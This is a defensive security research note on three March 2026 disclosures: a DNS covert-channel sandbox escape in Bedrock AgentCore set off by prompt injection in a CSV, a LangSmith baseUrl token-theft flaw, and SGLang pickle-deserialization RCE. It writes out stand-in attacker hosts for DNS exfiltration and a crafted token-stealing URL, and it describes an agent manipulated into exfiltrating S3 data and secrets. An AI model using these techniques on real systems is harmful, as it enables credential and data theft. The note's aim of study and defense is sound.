AI Agent Trust Boundaries: DNS Escape and Exfiltration Flaws

Security Analysis of Amazon Bedrock AgentCore, LangSmith, and SGLang Disclosures

Unofficial AI-assisted Research

Cloud Security Alliance AI Safety Initiative

2026-03-20

Key Takeaways

- Amazon Bedrock AgentCore Code Interpreter's "Sandbox" network mode permits unrestricted outbound DNS queries despite marketing claims of "complete isolation." Researchers at BeyondTrust's Phantom Labs demonstrated that this permits a fully bidirectional covert command-and-control channel over DNS, enabling exfiltration of S3 contents, Secrets Manager credentials, PII, and financial data with no patch available from AWS as of March 2026. [1][2]
- The attack chain is initiated through indirect prompt injection via a malicious CSV file, which manipulates AI-generated Python code within the sandbox to establish the DNS channel. This demonstrates that sandbox isolation failures compound with prompt injection vulnerabilities to produce end-to-end data exfiltration from a single document interaction. [1]
- LangSmith (CVE-2026-25750, CVSS 8.5 [8]) contained a `baseUrl` parameter injection vulnerability in LangSmith Studio that allowed attackers to redirect authenticated API calls — including session tokens and workspace credentials — to attacker-controlled servers. The vulnerability was patched in December 2025. If credentials were stolen during the vulnerability window, they would have exposed all LLM trace history including SQL queries, PII, PHI, and proprietary system prompts; LangChain indicated no evidence of exploitation in the wild at the time of advisory publication [4]. [3][4]
- SGLang (CVE-2026-3059 and CVE-2026-3060, CVSS 9.8 Critical) contains unauthenticated pre-authentication remote code execution vulnerabilities caused by unsafe Python pickle deserialization over an unauthenticated ZeroMQ broker bound by default to all network interfaces. The SGLang project had not responded to disclosure or merged remediation patches as of the March 2026 disclosure deadline. [5][6]
- Together, these three disclosures suggest an emerging pattern: the trust boundaries of managed AI agent execution environments — sandboxes, observability platforms, and inference services alike — have faced significant pressure under adversarial conditions, and these disclosures illustrate that industry response to coordinated disclosure in AI frameworks has been inconsistent across the cases examined.

Background

Available evidence suggests that the rapid commercial deployment of AI agent frameworks throughout 2025 has outpaced the security evaluation of the isolation and trust assumptions those frameworks rely on. Enterprise teams integrating agents with production data stores, cloud credentials, and customer records have done so under the expectation that managed sandboxes, controlled API surfaces, and isolated execution environments provide genuine protection against both accidental and adversarial data exposure. A cluster of coordinated security disclosures published in mid-March 2026 provides a significant direct challenge to that assumption.

Three distinct but thematically related sets of findings were published within days of each other: a DNS-based sandbox bypass in Amazon Bedrock AgentCore Code Interpreter disclosed by BeyondTrust on March 16, 2026 [1]; a URL parameter injection account takeover in LangSmith disclosed by Miggo Security in March 2026 following a December 2025 fix [3]; and three pickle deserialization remote code execution vulnerabilities in the SGLang inference framework published by Orca Security and coordinated through CERT/CC [5]. Each vulnerability affects a different layer of the AI infrastructure stack — agent execution sandboxing, observability and debugging tooling, and inference serving — and each exploits a different class of security failure. What unites them is the location of the failure: in every case, a boundary presented to operators and customers as a security control proved to be insufficient.

This note supplements an earlier CSA research note on Bedrock AgentCore enterprise attack surface (March 9, 2026), which examined privilege escalation, metadata credential exfiltration, memory poisoning, and MCP supply chain risk [7]. The present note addresses the DNS bypass disclosure that postdates that analysis, provides a consolidated view of the LangSmith and SGLang findings, and develops cross-cutting guidance for organizations relying on managed AI agent infrastructure.

Security Analysis

Amazon Bedrock AgentCore: The DNS Escape Hatch

Bedrock AgentCore Code Interpreter, launched in August 2025, offers two network modes for sandbox execution: VPC mode, which integrates with a customer-managed virtual private cloud, and Sandbox mode, which AWS documentation described as providing "complete isolation with no external access" [1].

In September 2025, Kinnaird McQuade, Chief Security Architect at Phantom Labs (BeyondTrust's research division), discovered that Sandbox mode enforces this isolation at the TCP/IP level but leaves DNS resolution — including outbound queries for A and AAAA records — entirely unrestricted [1][2].

DNS traffic is widely permitted in corporate and cloud environments because it is required for normal operations, and comprehensive DNS filtering is architecturally complex to implement consistently across hybrid environments. Attackers have exploited this property for at least fifteen years in traditional network environments [11]; the technique involves encoding data in DNS subdomain labels — for instance, `<base64chunk>.attacker.com` — and receiving commands back in DNS A record responses. The round-trip latency is higher than a direct TCP channel, but the bandwidth is sufficient for credentials, secrets, and structured data payloads. What Phantom Labs demonstrated is that this established covert channel technique transfers directly into the AI agent sandbox context with no modification required.

The end-to-end attack chain is important to understand in its full specificity. The entry point is an indirect prompt injection payload embedded in a malicious CSV file provided to the agent [1]. When the AgentCore Code Interpreter processes the file, the LLM-generated Python code is manipulated by the embedded instructions to establish a DNS command-and-control (C2) channel to an attacker-controlled domain. From within the allegedly isolated sandbox, the research team demonstrated execution of arbitrary shell commands (verified via `whoami`), enumeration and full exfiltration of Amazon S3 bucket contents accessible to the agent's IAM role, and retrieval of credentials stored in AWS Secrets Manager in the agent's environment. The attack requires no outbound TCP connections and leaves no record in VPC Flow Logs, since DNS traffic is not captured by that logging mechanism.

BeyondTrust reported the issue to AWS via HackerOne on September 1, 2025. AWS deployed an initial remediation to production in November 2025, then rolled it back citing unspecified "other factors" [1]. On December 23, 2025, AWS formally declined to patch the issue, reclassifying it as intended functionality with the explanation that "DNS resolution is enabled to support successful execution of S3 operations." AWS updated its documentation language from "complete isolation" to "provides limited external network access" and awarded the researcher a $100 AWS Gear Shop gift card [2]. No CVE has been assigned. The finding was publicly disclosed on March 16, 2026, coordinated with media coverage [1][8][9].

Organizations running sensitive workloads through Bedrock AgentCore Code Interpreter in Sandbox mode should treat this as an unmitigated vulnerability. Migration to VPC mode is the most architecturally complete response, as it allows DNS filtering to be applied through AWS Route 53 Resolver DNS Firewall or equivalent controls. Organizations unable to migrate immediately should implement the interim controls described in the Recommendations section.

LangSmith: Session Hijacking via Parameter Injection

LangSmith is the observability and debugging platform developed by LangChain for tracing, testing, and evaluating LLM-backed applications. Enterprise teams regularly pass sensitive data through LangSmith traces as part of debugging and evaluation workflows, including SQL queries, user inputs, system prompts, and conversational histories that may contain PII, PHI, and financial records. A vulnerability in LangSmith Studio's `baseUrl` parameter, assigned CVE-2026-25750 with a CVSS base score of 8.5 (High) [8], exposed all of this data to credential theft [3].

LangSmith Studio is the browser-based frontend interface for the LangSmith platform. It accepts a `baseUrl` URL parameter that allows developers to configure the frontend to communicate with local or self-hosted backend instances — a developer convenience feature. Researchers Liad Eliyahu and Eliana Vuijsje of Miggo Security discovered that LangSmith performed no validation on the domain specified in this parameter [3]. An attacker could construct a URL of the form `https://smith.langchain.com/studio/?baseUrl=https://attacker-controlled-server.com` and persuade an authenticated LangSmith user to visit it — through phishing, a malicious redirect embedded in another compromised page, or a social engineering pretext.

When a logged-in victim visits the crafted URL, the LangSmith frontend begins sending authenticated API requests to the attacker's server. These requests include the user's session bearer token, user ID, and workspace ID. No credential entry is required from the victim; the existing session is silently hijacked. Although session tokens had a 5-minute validity window, the attack is repeatable, and the attacker retains anything captured during each window. With a stolen token, an adversary can read all LLM traces in the victim's workspace, download proprietary system prompts and agent behavior definitions, and modify or delete workspace data [3][4].

The vulnerability affected both cloud (smith.langchain.com) and self-hosted LangSmith deployments. LangChain received the report on December 1, 2025, patched the cloud service on December 20, 2025, and released a fix for self-hosted deployments (v0.12.71, Helm chart 0.12.33) on December 20, 2025 [4]. The public GitHub Security Advisory (GHSA-r8wq-jwgw-p74g) was published March 3, 2026. LangChain indicated no evidence of exploitation in the wild at the time of advisory publication [3][4].

While the vulnerability is now patched, organizations running self-hosted LangSmith deployments should verify they have upgraded to v0.12.71 or later. More broadly, the finding underscores that AI observability tooling — which sits in a highly privileged position with access to all data flowing through agent pipelines — requires the same security rigor applied to production AI services themselves.

SGLang: Unauthenticated Remote Code Execution via Pickle Deserialization

SGLang is an open-source inference framework for large language models, developed at UC Berkeley and used in production AI serving environments. In February 2026, Igor Stepansky of Orca Security submitted three vulnerabilities to CERT/CC (VU#665416) [5][6]:

CVE	CVSS	Component	Condition
CVE-2026-3059	9.8 (Critical)	Multimodal ZMQ scheduler broker (`scheduler_client.py`)	Multimodal features enabled
CVE-2026-3060	9.8 (Critical)	Encoder parallel disaggregation module (`encode_receiver.py`)	Disaggregation mode enabled
CVE-2026-3989	7.8 (High)	Crash dump replay utility (`replay_request_dump.py`)	Local file access

The root cause is consistent across all three: SGLang uses Python's `pickle.loads()` function to deserialize data received over ZeroMQ (ZMQ) broker connections. Python's own documentation explicitly warns that "the pickle module is not secure and should never be used to deserialize untrusted data," because the deserialization process executes arbitrary Python code through the `__reduce__` method during object reconstruction [5]. SGLang's ZMQ broker binds by default to `tcp://*` — all network interfaces — with no authentication mechanism. An adversary with network access to the exposed port (default: the serving HTTP port incremented by one) can send a single crafted message containing a malicious pickle payload and achieve immediate arbitrary code execution on the host.

The consequence of successful exploitation in typical configurations is arbitrary code execution at the privilege level of the SGLang inference process, which in many deployments includes access to model weights, training data, inference logs, and network connectivity to downstream services. Unlike the Bedrock AgentCore issue, which requires an AI-mediated attack chain, CVE-2026-3059 and CVE-2026-3060 are direct pre-authentication network exploits requiring no user interaction.

The disclosure process represents a significant failure in open-source AI framework security response. Despite GitHub Security Advisory submissions and direct outreach by CERT/CC over a coordinated disclosure window, the SGLang maintainer community did not respond to any disclosure attempt [5]. A community-contributed pull request proposing to bind the ZMQ broker to localhost by default and

replace pickle with msgpack for all inter-process communication was submitted but remained unmerged as of the CERT/CC advisory publication. Orca Security noted more than twenty instances of `pickle.loads()` across the SGLang codebase beyond the three CVEs assigned, indicating that the fixes required extend well beyond patching the specific components identified [5].

Recommendations

Immediate Actions

Organizations using Amazon Bedrock AgentCore Code Interpreter should audit all deployments and identify any that currently run in Sandbox mode while handling sensitive data — credentials, PII, PHI, financial records, or data accessible via the agent's IAM role. Those deployments should be migrated to VPC mode immediately, with Route 53 Resolver DNS Firewall rules restricting outbound DNS to only required internal resolvers. IAM roles assigned to AgentCore agents should be reviewed and scoped to least privilege; agents processing user-supplied documents should not hold read permissions to S3 buckets or Secrets Manager secrets beyond those explicitly required for their task. Canary credentials and honey S3 paths can provide early detection of exfiltration attempts in the interim.

Organizations running self-hosted LangSmith deployments must verify that they are running version 0.12.71 or later of the LangSmith server and Helm chart version 0.12.33 or later. Cloud-hosted smith.langchain.com users were automatically patched in December 2025 and require no action on the application vulnerability, but should rotate any session credentials that may have been active during the vulnerability window if there is any possibility of targeted attack.

Any organization serving inference workloads with SGLang should immediately apply host-level network controls restricting access to ZMQ broker ports (HTTP port + 1) to trusted internal addresses only. Firewall rules or security group policies should block all external access to these ports. As a secondary control, SGLang processes should run in isolated network namespaces that prevent lateral movement to downstream services in the event of exploitation. Organizations should monitor SGLang's upstream repository for a patch that addresses the pickle deserialization root cause and plan to deploy it promptly upon release.

Short-Term Mitigations

For AI agent deployments broadly, DNS filtering should be incorporated into the security architecture wherever agents execute code or access external data. AWS Route 53 Resolver DNS Firewall, Azure Private DNS Resolver with filtering rules, or on-premises DNS sinkholes can block DNS tunneling channels even when sandbox-level controls fail. Anomalous DNS query patterns — high query volume, unusual subdomain lengths, queries to newly registered or low-reputation domains — should be fed into SIEM alerting. Infoblox's research on machine-learning-based DNS tunnel detection demonstrated a 99.7% F1 score in controlled evaluation conditions [10], suggesting the technical detection capability is mature enough to inform product selection for DNS security tooling.

AI observability and debugging tooling should be subject to the same access control and authentication reviews applied to production AI services. LangSmith, regardless of the patched CVE-2026-25750, holds a highly privileged position in the AI pipeline and should be deployed behind organizational SSO with MFA enforcement, with network access limited to authorized developer endpoints. Trace data containing PII or credentials should be masked at the application level before ingestion into the observability platform.

Strategic Considerations

The three disclosures examined in this note represent distinct failure modes across the AI infrastructure stack, but they share a common underlying pattern: vendor isolation claims exceeded the actual security properties delivered. AWS described Sandbox mode as providing "complete isolation with no external access" when DNS was always permitted; LangSmith exposed a credential exfiltration channel in a convenience feature that performed no validation on the domain specified in the `baseUrl` parameter; SGLang bound an unauthenticated deserialization service to all network interfaces by default. In each case, the security failure was not exotic — DNS tunneling, URL parameter injection, and unsafe pickle deserialization are all well-documented attack classes — but the application of those attacks to AI agent infrastructure was either not anticipated or not treated with appropriate urgency.

Security teams evaluating or deploying AI agent frameworks should require vendors to provide explicit, auditable definitions of their isolation boundaries, including which network protocols are permitted in "isolated" modes. Vendor documentation claiming "complete isolation" without specifying allowed protocols should be treated as an incomplete security claim pending verification. Coordinated disclosure timelines, vendor patch commitments, and bug bounty structures should be assessed as part of AI vendor due diligence, recognizing that both AWS's reclassification-as-intended and the SGLang maintainers' non-response represent opposite failure modes in responsible disclosure practice.

CSA Resource Alignment

These findings align with several dimensions of the CSA MAESTRO (Multi-Agent Environment Security, Trust, Risk, and Oversight) threat modeling framework, which identifies execution environment isolation failures, covert data exfiltration channels, and cross-agent trust boundary violations as primary threat categories for agentic AI deployments. The DNS bypass technique exemplifies what MAESTRO classifies as an agent-initiated exfiltration path enabled by incomplete runtime boundary enforcement, compounded by indirect prompt injection as the initial delivery mechanism.

The CSA AI Controls Matrix (AICM), as a superset of the Cloud Controls Matrix (CCM), provides the applicable control framework for all three vulnerabilities. The AgentCore DNS finding implicates AICM controls in the domains of data security (DS), infrastructure and virtualization security (IVS), and logging and monitoring (LOG). The LangSmith credential theft implicates identity and access management (IAM) and application security (APS) controls. The SGLang deserialization RCE implicates vulnerability and patch management (VPM) and network security (NTS) controls. Organizations conducting AICM assessments of AI agent deployments should explicitly enumerate managed sandbox and inference service configurations as in-scope control objects.

CSA's Zero Trust guidance is directly applicable to AI agent execution environments, where perimeter-based isolation assumptions have proven insufficient. The AgentCore case illustrates that perimeter-based isolation — where a boundary is declared secure and traffic within or exiting through permitted channels is trusted — is inadequate when agents execute attacker-influenced code. A zero trust posture requires continuous verification of all network flows, including DNS, regardless of where in a declared sandbox perimeter they originate. CSA's work on non-human identity security is also directly applicable: agent IAM roles holding excessive permissions were the mechanism that transformed the AgentCore DNS bypass from a covert channel into a full data exfiltration incident. Organizations should consult CSA's guidance on Securing Non-Human Identities in the Age of AI Agents to scope agent IAM roles appropriately.

References

[1] Kinnaird McQuade, "Pwning AWS AgentCore Code Interpreter: Bypassing the Sandbox via DNS," BeyondTrust Phantom Labs, March 16, 2026. https://www.beyondtrust.com/blog/entry/pwning-aws-agentcore-code-interpreter

[2] "AWS Bedrock's 'isolated' sandbox comes with a DNS escape hatch," CSO Online, March 2026. https://www.csoonline.com/article/4146202/aws-bedrocks-isolated-sandbox-comes-with-a-dns-escape-hatch.html

[3] Liad Eliyahu and Eliana Vuijsje, "Hack the AI Brain: Uncovering an Account Takeover Vulnerability in LangSmith (CVE-2026-25750)," Miggo Security, March 2026. https://www.miggo.io/post/hack-the-ai-brain-uncovering-an-account-takeover-vulnerability-in-langsmith

[4] "URL Parameter Injection in LangSmith Studio," GitHub Security Advisory GHSA-r8wq-jwgw-p74g, LangChain AI, March 3, 2026. https://github.com/langchain-ai/helm/security/advisories/GHSA-r8wq-jwgw-p74g

[5] Igor Stepansky, "Pickle in the Pipeline: Critical RCE Vulnerabilities in SGLang," Orca Security, March 2026. https://orca.security/resources/blog/sglang-llm-framework-rce-vulnerabilities/

[6] CERT/CC, "SGLang unsafe deserialization of untrusted data," Vulnerability Note VU#665416, February 2026. https://kb.cert.org/vuls/id/665416

[7] Cloud Security Alliance AI Safety Initiative, "AWS Bedrock AgentCore as Enterprise Attack Surface: AI Agent APIs and the Execution Boundary Problem," CSA Research Note, March 9, 2026. /output/white-papers/CSA_research_note_bedrock_agentcore_enterprise_attack_surface_20260309.md

[8] "AI Flaws in Amazon Bedrock, LangSmith, and SGLang Enable Data Exfiltration and RCE," The Hacker News, March 2026. https://thehackernews.com/2026/03/ai-flaws-in-amazon-bedrock-langsmith.html

[9] "Security Flaw in AWS Bedrock Code Interpreter Raises Alarms," Infosecurity Magazine, March 2026. https://www.infosecurity-magazine.com/news/security-flaw-aws-bedrock/

[10] Infoblox Threat Intelligence, "Novel AI Techniques for DNS Tunnel Security," Infoblox, February 2026. https://www.infoblox.com/blog/security/novel-ai-techniques-for-dns-tunnel-security/

[11] MITRE ATT&CK, "Application Layer Protocol: DNS (T1071.004)," MITRE Corporation. https://attack.mitre.org/techniques/T1071/004/